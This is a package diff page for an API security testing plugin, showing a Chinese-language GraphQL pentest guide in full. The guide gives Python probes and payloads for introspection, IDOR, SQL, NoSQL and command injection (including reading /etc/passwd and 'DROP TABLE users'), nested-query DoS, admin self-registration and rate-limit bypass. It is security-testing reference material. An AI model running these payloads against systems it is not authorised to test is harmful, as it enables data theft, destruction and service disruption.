opencode-api-security-testing 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (35) hide show
  1. package/README.md +98 -0
  2. package/agents/cyber-supervisor.md +55 -0
  3. package/agents/probing-miner.md +42 -0
  4. package/agents/resource-specialist.md +31 -0
  5. package/commands/api-security-testing-scan.md +59 -0
  6. package/commands/api-security-testing-test.md +49 -0
  7. package/commands/api-security-testing.md +72 -0
  8. package/index.ts +9 -0
  9. package/package.json +37 -0
  10. package/references/README.md +72 -0
  11. package/references/asset-discovery.md +612 -0
  12. package/references/fuzzing-patterns.md +129 -0
  13. package/references/graphql-guidance.md +684 -0
  14. package/references/pua-agent.md +192 -0
  15. package/references/report-template.md +63 -0
  16. package/references/rest-guidance.md +547 -0
  17. package/references/severity-model.md +288 -0
  18. package/references/test-matrix.md +284 -0
  19. package/references/validation.md +425 -0
  20. package/references/vulnerabilities/01-sqli-tests.md +1128 -0
  21. package/references/vulnerabilities/02-user-enum-tests.md +423 -0
  22. package/references/vulnerabilities/03-jwt-tests.md +499 -0
  23. package/references/vulnerabilities/04-idor-tests.md +362 -0
  24. package/references/vulnerabilities/05-sensitive-data-tests.md +466 -0
  25. package/references/vulnerabilities/06-biz-logic-tests.md +501 -0
  26. package/references/vulnerabilities/07-security-config-tests.md +511 -0
  27. package/references/vulnerabilities/08-brute-force-tests.md +457 -0
  28. package/references/vulnerabilities/09-vulnerability-chains.md +465 -0
  29. package/references/vulnerabilities/10-auth-tests.md +537 -0
  30. package/references/vulnerabilities/11-graphql-tests.md +355 -0
  31. package/references/vulnerabilities/12-ssrf-tests.md +396 -0
  32. package/references/vulnerabilities/README.md +148 -0
  33. package/references/workflows.md +192 -0
  34. package/src/index.ts +108 -0
  35. package/tsconfig.json +17 -0
@@ -0,0 +1,684 @@
1
+ # GraphQL 安全测试指导
2
+
3
+ ## 目录
4
+
5
+ 1. [GraphQL 特征识别](#1-graphql-特征识别)
6
+ 2. [端点发现](#2-端点发现)
7
+ 3. [内省查询](#3-内省查询)
8
+ 4. [查询构造](#4-查询构造)
9
+ 5. [授权测试](#5-授权测试)
10
+ 6. [注入测试](#6-注入测试)
11
+ 7. [拒绝服务](#7-拒绝服务)
12
+ 8. [Bypass 技巧](#8-bypass-技巧)
13
+
14
+ ---
15
+
16
+ ## 1. GraphQL 特征识别
17
+
18
+ ### 识别特征
19
+
20
+ | 特征 | 说明 |
21
+ |------|------|
22
+ | URL | `/graphql`, `/api`, `/query` |
23
+ | Content-Type | `application/json` |
24
+ | 请求方法 | POST (主要), GET (查询) |
25
+ | 请求体 | `{"query": "...", "variables": {...}}` |
26
+ | 响应 | `{"data": {...}, "errors": [...]}` |
27
+
28
+ ### 常见 GraphQL 路径
29
+
30
+ ```
31
+ /graphql
32
+ /graphql/console
33
+ /api/graphql
34
+ /api/v1/graphql
35
+ /graphql-api
36
+ /query
37
+ ```
38
+
39
+ ### 技术识别
40
+
41
+ ```python
42
+ # GraphQL 识别方法
43
+ def detect_graphql(url):
44
+ # 1. 检查 GraphQL 特有响应
45
+ resp = requests.post(url, json={"query": "{__typename}"})
46
+ if "data" in resp.json() and "__typename" in resp.text:
47
+ return True
48
+
49
+ # 2. 检查 introspection 端点
50
+ resp = requests.post(url, json={
51
+ "query": "{__schema{queryType{name}}}"
52
+ })
53
+ if "data" in resp.json():
54
+ return True
55
+
56
+ # 3. 检查 GraphQL 特有错误
57
+ if "errors" in resp.json() and any(
58
+ e.get("message", "").startswith("Cannot query")
59
+ for e in resp.json().get("errors", [])
60
+ ):
61
+ return True
62
+
63
+ return False
64
+ ```
65
+
66
+ ---
67
+
68
+ ## 2. 端点发现
69
+
70
+ ### 2.1 常见路径探测
71
+
72
+ ```python
73
+ # GraphQL 端点字典
74
+ GRAPHQL_PATHS = [
75
+ "/graphql",
76
+ "/graphql/console",
77
+ "/api/graphql",
78
+ "/api/v1/graphql",
79
+ "/api/v2/graphql",
80
+ "/graphql-api",
81
+ "/query",
82
+ "/graphql.php",
83
+ "/graphqly",
84
+ "/api/query",
85
+ ]
86
+
87
+ # 探测函数
88
+ def probe_graphql_endpoint(base_url):
89
+ for path in GRAPHQL_PATHS:
90
+ url = base_url + path
91
+ try:
92
+ resp = requests.post(url, json={"query": "{__typename}"}, timeout=5)
93
+ if resp.status_code == 400 and "data" in resp.text:
94
+ print(f"[+] Found GraphQL: {url}")
95
+ return url
96
+ except:
97
+ pass
98
+ return None
99
+ ```
100
+
101
+ ### 2.2 从 JS 中发现
102
+
103
+ ```python
104
+ # 从 JS 源码中提取 GraphQL 配置
105
+ GRAPHQL_PATTERNS = [
106
+ r'["\']/(?:graphql|api/graphql)["\']',
107
+ r'endpoint\s*:\s*["\']([^"\']+)["\']',
108
+ r'graphql\s*:\s*["\']([^"\']+)["\']',
109
+ r'new\s+GraphQLClient\(["\']([^"\']+)["\']',
110
+ ]
111
+
112
+ def extract_from_js(js_content):
113
+ endpoints = []
114
+ for pattern in GRAPHQL_PATTERNS:
115
+ matches = re.findall(pattern, js_content)
116
+ endpoints.extend(matches)
117
+ return list(set(endpoints))
118
+ ```
119
+
120
+ ---
121
+
122
+ ## 3. 内省查询
123
+
124
+ ### 3.1 完整内省查询
125
+
126
+ ```python
127
+ # 获取完整 schema
128
+ INTROSPECTION_QUERY = """
129
+ {
130
+ __schema {
131
+ queryType { name }
132
+ mutationType { name }
133
+ subscriptionType { name }
134
+ types {
135
+ kind
136
+ name
137
+ fields(includeDeprecated: true) {
138
+ name
139
+ args {
140
+ name
141
+ type { name kind ofType { name kind } }
142
+ defaultValue
143
+ }
144
+ type { name kind ofType { name kind } }
145
+ isDeprecated
146
+ deprecationReason
147
+ }
148
+ }
149
+ }
150
+ }
151
+ """
152
+
153
+ # 执行内省
154
+ def introspect(url, headers=None):
155
+ resp = requests.post(
156
+ url,
157
+ json={"query": INTROSPECTION_QUERY},
158
+ headers=headers
159
+ )
160
+ return resp.json()
161
+ ```
162
+
163
+ ### 3.2 分字段内省
164
+
165
+ ```python
166
+ # 获取所有 Query 字段
167
+ QUERY_FIELDS = """
168
+ {
169
+ __schema {
170
+ queryType {
171
+ fields {
172
+ name
173
+ description
174
+ args { name type { name } }
175
+ type { name }
176
+ }
177
+ }
178
+ }
179
+ }
180
+ """
181
+
182
+ # 获取所有 Mutation 字段
183
+ MUTATION_FIELDS = """
184
+ {
185
+ __schema {
186
+ mutationType {
187
+ fields {
188
+ name
189
+ description
190
+ args { name type { name } }
191
+ type { name }
192
+ }
193
+ }
194
+ }
195
+ }
196
+ """
197
+
198
+ # 获取特定类型详情
199
+ TYPE_DETAIL = """
200
+ {
201
+ __type(name: "User") {
202
+ name
203
+ fields {
204
+ name
205
+ type { name }
206
+ }
207
+ }
208
+ }
209
+ """
210
+ ```
211
+
212
+ ### 3.3 枚举值获取
213
+
214
+ ```python
215
+ # 获取枚举值
216
+ ENUM_VALUES = """
217
+ {
218
+ __type(name: "UserRole") {
219
+ enumValues {
220
+ name
221
+ description
222
+ }
223
+ }
224
+ }
225
+ """
226
+
227
+ # 获取输入类型
228
+ INPUT_TYPES = """
229
+ {
230
+ __schema {
231
+ inputTypes {
232
+ name
233
+ inputFields {
234
+ name
235
+ type { name }
236
+ }
237
+ }
238
+ }
239
+ }
240
+ """
241
+ ```
242
+
243
+ ---
244
+
245
+ ## 4. 查询构造
246
+
247
+ ### 4.1 基本查询
248
+
249
+ ```python
250
+ # 简单查询
251
+ QUERY_1 = """
252
+ {
253
+ user(id: "1") {
254
+ id
255
+ username
256
+ email
257
+ }
258
+ }
259
+ """
260
+
261
+ # 带参数查询
262
+ QUERY_2 = """
263
+ {
264
+ users(filter: {role: "admin"}, limit: 10) {
265
+ id
266
+ username
267
+ profile {
268
+ name
269
+ avatar
270
+ }
271
+ }
272
+ }
273
+ """
274
+
275
+ # 嵌套查询
276
+ QUERY_3 = """
277
+ {
278
+ orders(first: 5) {
279
+ edges {
280
+ node {
281
+ id
282
+ total
283
+ user {
284
+ username
285
+ email
286
+ }
287
+ items {
288
+ product { name }
289
+ quantity
290
+ }
291
+ }
292
+ }
293
+ }
294
+ }
295
+ """
296
+ ```
297
+
298
+ ### 4.2 Mutation
299
+
300
+ ```python
301
+ # 登录 Mutation
302
+ LOGIN_MUTATION = """
303
+ mutation {
304
+ login(username: "admin", password: "admin123") {
305
+ token
306
+ user {
307
+ id
308
+ username
309
+ }
310
+ }
311
+ }
312
+ """
313
+
314
+ # 创建资源
315
+ CREATE_MUTATION = """
316
+ mutation {
317
+ createPost(input: {
318
+ title: "Test"
319
+ content: "Test content"
320
+ authorId: "1"
321
+ }) {
322
+ id
323
+ title
324
+ }
325
+ }
326
+ """
327
+
328
+ # 更新资源
329
+ UPDATE_MUTATION = """
330
+ mutation {
331
+ updateUser(id: "1", input: {
332
+ email: "hacked@example.com"
333
+ }) {
334
+ id
335
+ email
336
+ }
337
+ }
338
+ """
339
+
340
+ # 删除资源
341
+ DELETE_MUTATION = """
342
+ mutation {
343
+ deleteUser(id: "1") {
344
+ success
345
+ }
346
+ }
347
+ """
348
+ ```
349
+
350
+ ---
351
+
352
+ ## 5. 授权测试
353
+
354
+ ### 5.1 未授权访问
355
+
356
+ ```python
357
+ # 不带 Token 测试
358
+ def test_unauthorized(url):
359
+ queries = [
360
+ "{ users { id username email } }",
361
+ "{ orders { id total } }",
362
+ "{ admin { panel } }",
363
+ ]
364
+
365
+ for query in queries:
366
+ resp = requests.post(url, json={"query": query})
367
+ if "data" in resp.json() and resp.json()["data"] is not None:
368
+ print(f"[!] 未授权访问: {query}")
369
+ ```
370
+
371
+ ### 5.2 字段级授权
372
+
373
+ ```python
374
+ # 测试字段级权限(Admin 字段普通用户可见)
375
+ def test_field_auth(url, user_token):
376
+ # 用户自己的查询
377
+ user_query = """
378
+ {
379
+ user(id: "1") {
380
+ id
381
+ username
382
+ email
383
+ isAdmin # 应该需要 admin 权限
384
+ }
385
+ }
386
+ """
387
+
388
+ headers = {"Authorization": f"Bearer {user_token}"}
389
+ resp = requests.post(url, json={"query": user_query}, headers=headers)
390
+
391
+ if "isAdmin" in str(resp.json()):
392
+ print("[!] 字段级权限绕过 - 普通用户可见 admin 字段")
393
+ ```
394
+
395
+ ### 5.3 IDOR 测试
396
+
397
+ ```python
398
+ # GraphQL IDOR 测试
399
+ def test_graphql_idor(url, token):
400
+ headers = {"Authorization": f"Bearer {token}"}
401
+
402
+ # 用自己的 token 访问自己的数据(基线)
403
+ baseline = requests.post(url, json={
404
+ "query": "{ user(id: \"1\") { id username } }"
405
+ }, headers=headers)
406
+
407
+ # 尝试访问其他用户的数据
408
+ for victim_id in ["2", "3", "4", "5"]:
409
+ resp = requests.post(url, json={
410
+ "query": f'{{ user(id: "{victim_id}") {{ id username email }} }}'
411
+ }, headers=headers)
412
+
413
+ data = resp.json().get("data")
414
+ if data and data.get("user"):
415
+ print(f"[!] IDOR - 可访问用户 {victim_id} 的数据")
416
+ ```
417
+
418
+ ---
419
+
420
+ ## 6. 注入测试
421
+
422
+ ### 6.1 SQL 注入 (在 Query 变量中)
423
+
424
+ ```python
425
+ # SQL 注入测试
426
+ SQLI_PAYLOADS = [
427
+ '" OR "1"="1',
428
+ "' OR '1'='1",
429
+ "1; DROP TABLE users--",
430
+ "1' UNION SELECT NULL--",
431
+ ]
432
+
433
+ def test_sqli_injection(url, token):
434
+ headers = {"Authorization": f"Bearer {token}"}
435
+
436
+ for payload in SQLI_PAYLOADS:
437
+ resp = requests.post(url, json={
438
+ "query": f'{{ user(id: "{payload}") {{ id username }} }}',
439
+ "variables": {"id": payload}
440
+ }, headers=headers)
441
+
442
+ if "error" not in resp.text and "sql" in resp.text.lower():
443
+ print(f"[!] SQL 注入: {payload}")
444
+ ```
445
+
446
+ ### 6.2 NoSQL 注入
447
+
448
+ ```python
449
+ # NoSQL 注入测试 (MongoDB)
450
+ NOSQL_PAYLOADS = [
451
+ '{"$ne": null}',
452
+ '{"$gt": ""}',
453
+ '{"$regex": ".*"}',
454
+ '{"$where": "1==1"}',
455
+ ]
456
+
457
+ def test_nosql_injection(url, token):
458
+ headers = {"Authorization": f"Bearer {token}"}
459
+
460
+ for payload in NOSQL_PAYLOADS:
461
+ resp = requests.post(url, json={
462
+ "query": f'{{ users(filter: {{username: {payload}}}) {{ id }} }}'
463
+ }, headers=headers)
464
+
465
+ if resp.status_code == 200:
466
+ print(f"[?] NoSQL 注入候选: {payload}")
467
+ ```
468
+
469
+ ### 6.3 命令注入
470
+
471
+ ```python
472
+ # 如果 GraphQL 支持文件操作或系统命令
473
+ CMD_PAYLOADS = [
474
+ "; ls",
475
+ "| cat /etc/passwd",
476
+ "`whoami`",
477
+ "$(id)",
478
+ ]
479
+
480
+ def test_cmd_injection(url, token):
481
+ headers = {"Authorization": f"Bearer {token}"}
482
+
483
+ # 查找支持文件操作的字段
484
+ # filePath, command, shell 等
485
+ fields = ["filePath", "command", "shell", "script"]
486
+
487
+ for field in fields:
488
+ query = f"""
489
+ {{
490
+ system(input: {{ {field}: "; ls" }}) {{
491
+ output
492
+ }}
493
+ }}
494
+ """
495
+ resp = requests.post(url, json={"query": query}, headers=headers)
496
+
497
+ if resp.status_code == 200 and "root:" in resp.text:
498
+ print(f"[!] 命令注入在字段: {field}")
499
+ ```
500
+
501
+ ---
502
+
503
+ ## 7. 拒绝服务
504
+
505
+ ### 7.1 深度嵌套查询
506
+
507
+ ```python
508
+ # 深度嵌套导致 DoS
509
+ NESTED_QUERY = """
510
+ {
511
+ user(id: "1") {
512
+ friends {
513
+ friends {
514
+ friends {
515
+ friends {
516
+ id
517
+ username
518
+ }
519
+ }
520
+ }
521
+ }
522
+ }
523
+ }
524
+ """
525
+
526
+ # 批量查询导致 DoS
527
+ BATCH_QUERY = """
528
+ {
529
+ u1: user(id: "1") { id }
530
+ u2: user(id: "2") { id }
531
+ # ... 重复 100 次
532
+ u100: user(id: "100") { id }
533
+ }
534
+ """
535
+
536
+ def test_dos(url):
537
+ # 测试嵌套深度
538
+ for depth in [5, 10, 15, 20]:
539
+ query = build_nested_query(depth)
540
+ start = time.time()
541
+ resp = requests.post(url, json={"query": query}, timeout=10)
542
+ duration = time.time() - start
543
+
544
+ if duration > 5:
545
+ print(f"[!] DoS - 深度 {depth} 耗时 {duration}s")
546
+ ```
547
+
548
+ ### 7.2 资源密集型字段
549
+
550
+ ```python
551
+ # 搜索/计算密集型字段
552
+ EXPENSIVE_FIELDS = [
553
+ "search(query: *)",
554
+ "compute(primes: 1000000)",
555
+ "generateReport(year: 9999)",
556
+ "exportAllData()",
557
+ ]
558
+
559
+ def test_expensive_operations(url):
560
+ for field in EXPENSIVE_FIELDS:
561
+ query = f"{{ {field} }}"
562
+ start = time.time()
563
+ try:
564
+ resp = requests.post(url, json={"query": query}, timeout=5)
565
+ duration = time.time() - start
566
+ if duration > 3:
567
+ print(f"[!] 耗时操作: {field} ({duration}s)")
568
+ except:
569
+ pass
570
+ ```
571
+
572
+ ---
573
+
574
+ ## 8. Bypass 技巧
575
+
576
+ ### 8.1 绕过字段限制
577
+
578
+ ```python
579
+ # 如果某字段被过滤,尝试别名
580
+ ALIAS_BYPASS = """
581
+ {
582
+ user: users(limit: 1) { id }
583
+ _user: users(limit: 1) { id username }
584
+ }
585
+ """
586
+
587
+ # 绕过类型检查
588
+ TYPE_BYPASS = """
589
+ {
590
+ # 如果 Int 期望 5,尝试 String "5"
591
+ user(id: "5") { id }
592
+ }
593
+ """
594
+
595
+ # 绕过 N+1 限制
596
+ N_PLUS_1_BYPASS = """
597
+ {
598
+ # 多次执行同一查询
599
+ u1: user(id: "1") { id }
600
+ u2: user(id: "2") { id }
601
+ # 避免字段限制
602
+ }
603
+ """
604
+ ```
605
+
606
+ ### 8.2 绕过认证
607
+
608
+ ```python
609
+ # 如果登录被限制,尝试
610
+ AUTH_BYPASS = [
611
+ # 1. 直接访问需要认证的查询
612
+ "{ admin { users { id } } }",
613
+
614
+ # 2. 利用注册接口创建 admin
615
+ MUTATION_CREATE_ADMIN = """
616
+ mutation {
617
+ register(input: {
618
+ username: "admin2"
619
+ password: "Admin123!"
620
+ role: "admin" # 尝试设置 admin 角色
621
+ }) { token }
622
+ }
623
+ """,
624
+
625
+ # 3. 利用忘记密码重置 admin
626
+ ]
627
+ ```
628
+
629
+ ### 8.3 绕过速率限制
630
+
631
+ ```python
632
+ # 如果有速率限制,尝试
633
+ RATE_LIMIT_BYPASS = [
634
+ # 1. 使用不同字段名
635
+ {"query": "{ u: user(id: \"1\") { id } }"},
636
+ {"query": "{ user1: user(id: \"1\") { id } }"},
637
+
638
+ # 2. 注释绕过
639
+ {"query": "{ user(id: \"1\") { id } } # "},
640
+ {"query": "{ user /* */ (id: \"1\") { id } }"},
641
+
642
+ # 3. 变量混淆
643
+ {"query": "query($id: ID!) { user(id: $id) { id } }",
644
+ "variables": {"id": "1"}},
645
+ ]
646
+ ```
647
+
648
+ ---
649
+
650
+ ## 附录:GraphQL 测试检查清单
651
+
652
+ ```
653
+ □ 发现阶段
654
+ □ 识别 GraphQL 端点
655
+ □ 从 JS 中发现 GraphQL 配置
656
+ □ 获取完整 Schema (introspection)
657
+
658
+ □ 查询测试
659
+ □ 列出所有类型和字段
660
+ □ 获取枚举值
661
+ □ 理解数据模型关系
662
+
663
+ □ 授权测试
664
+ □ 未认证访问
665
+ □ 字段级权限绕过
666
+ □ IDOR (跨用户访问)
667
+ □ 垂直越权
668
+
669
+ □ 注入测试
670
+ □ SQL 注入
671
+ □ NoSQL 注入
672
+ □ 命令注入
673
+ □ XSS
674
+
675
+ □ DoS 测试
676
+ □ 深度嵌套查询
677
+ □ 批量查询
678
+ □ 资源密集型操作
679
+
680
+ □ 安全配置
681
+ □ 限流测试
682
+ □ CORS 配置
683
+ □ 调试模式
684
+ ```